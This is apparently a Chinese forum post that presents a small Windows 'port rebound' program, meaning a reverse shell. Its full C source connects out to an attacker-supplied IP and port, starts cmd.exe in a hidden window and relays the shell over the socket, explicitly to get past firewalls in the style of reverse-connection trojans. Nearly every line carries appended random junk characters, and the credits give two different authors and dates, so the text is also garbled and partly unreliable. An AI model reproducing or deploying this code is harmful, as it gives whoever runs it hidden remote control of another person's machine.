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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !M9mX%UQ  
! r/~D |  
/* ============================== R!WDQGR(2  
Rebound port in Windows NT AN[pjC<  
By wind,2006/7 0Js5 ' 9}H  
===============================*/ rg]b$tL~  
#include @\xEK5SG  
#include }1+2&Ps50  
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#pragma comment(lib,"wsock32.lib") qe(C>qjMbG  
:,R>e}lM  
void OutputShell(); fQg^^ZXe"  
SOCKET sClient; SMRCG"3qwA  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @T>^ >  
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void main(int argc,char **argv) U2vb&Qu/  
{ fb^R3wd$ff  
WSADATA stWsaData; ;E5XH"L\  
int nRet; )FIFf;r  
SOCKADDR_IN stSaiClient,stSaiServer; &TrL!9FtJ  
>1]hR)Ip  
if(argc != 3) )`\Q/TMl5  
{ j]5e$e{  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0Q,Tcj  
return; gSyBoY  
} $#W^JWN1  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [Fk|m1i!  
qs_cC3"=%=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /RxqFpu|.  
B> \q!dX3  
stSaiClient.sin_family = AF_INET; 0oBAJP  
stSaiClient.sin_port = htons(0); F{.g05^y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6cbV[ !BL  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]gv3|W  
{ Gi$\th,  
printf("Bind Socket Failed!\n"); KZ^>_K&  
return; \VW":+  
} qf<o"B|_9  
*`/4KMrq  
stSaiServer.sin_family = AF_INET; \9od*y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b'R]DS{8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _+7P"B|\  
mL'A$BR`  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OPqhdqo  
{ ]iFW>N*a  
printf("Connect Error!"); XbFo#Pwk  
return; @ptrF pSL  
} [O!/hppN  
OutputShell(); EQZ/v gho  
} .RmoO\ ,Gm  
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void OutputShell() 3!QXzT$E  
{ -y?ve od#  
char szBuff[1024]; $-!7<a-  
SECURITY_ATTRIBUTES stSecurityAttributes; 9:Bn-3)  
OSVERSIONINFO stOsversionInfo; vMn$lT@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SNSoV3|k-  
STARTUPINFO stStartupInfo; wq1s#ag<  
char *szShell; `w@z Fc!"  
PROCESS_INFORMATION stProcessInformation; 5b I4' ;  
unsigned long lBytesRead; X(DP=C}v9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4mX]JH`UTe  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wGIRRM !b  
stSecurityAttributes.lpSecurityDescriptor = 0; hg'eSU$J  
stSecurityAttributes.bInheritHandle = TRUE; ^%g 8OP  
 z{V#_(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Dsv2p~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^U,C])n  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^r7KEeVD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .i` -t"  
stStartupInfo.wShowWindow = SW_HIDE; L/vw7XNrX  
stStartupInfo.hStdInput = hReadPipe; N#R8ez`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GU Mf}y  
_@y9=e  
GetVersionEx(&stOsversionInfo); M.)z;[3O  
G2@'S&2@s  
switch(stOsversionInfo.dwPlatformId) ]<q!pE;t  
{ P$^I\aGO  
case 1: `(O#$n  
szShell = "command.com"; $,I@c"m{  
break; JlEfUg#*  
default: ;4v`FC>  
szShell = "cmd.exe"; Zny9TP  
break; "EWq{l_I5$  
} PtL8Kd0`C  
.uN(44^+x  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uLI;_,/:  
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send(sClient,szMsg,77,0); G[OJ <px  
while(1) qk0cf~ gz  
{ As tuM]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7W&XcF  
if(lBytesRead) )RWukr+  
{ UKB/>:R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z*NTF:6c  
send(sClient,szBuff,lBytesRead,0); 9 uX 15a  
} Hf30ve}  
else uo|:n"v  
{ Y[>`#RhP  
lBytesRead=recv(sClient,szBuff,1024,0); L` rrT   
if(lBytesRead<=0) break;  Sb)}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9]/:B8k  
} s,Fts3+  
} $V/Ke  
L}g#h+GP[  
return; wW<u)|>ye  
}
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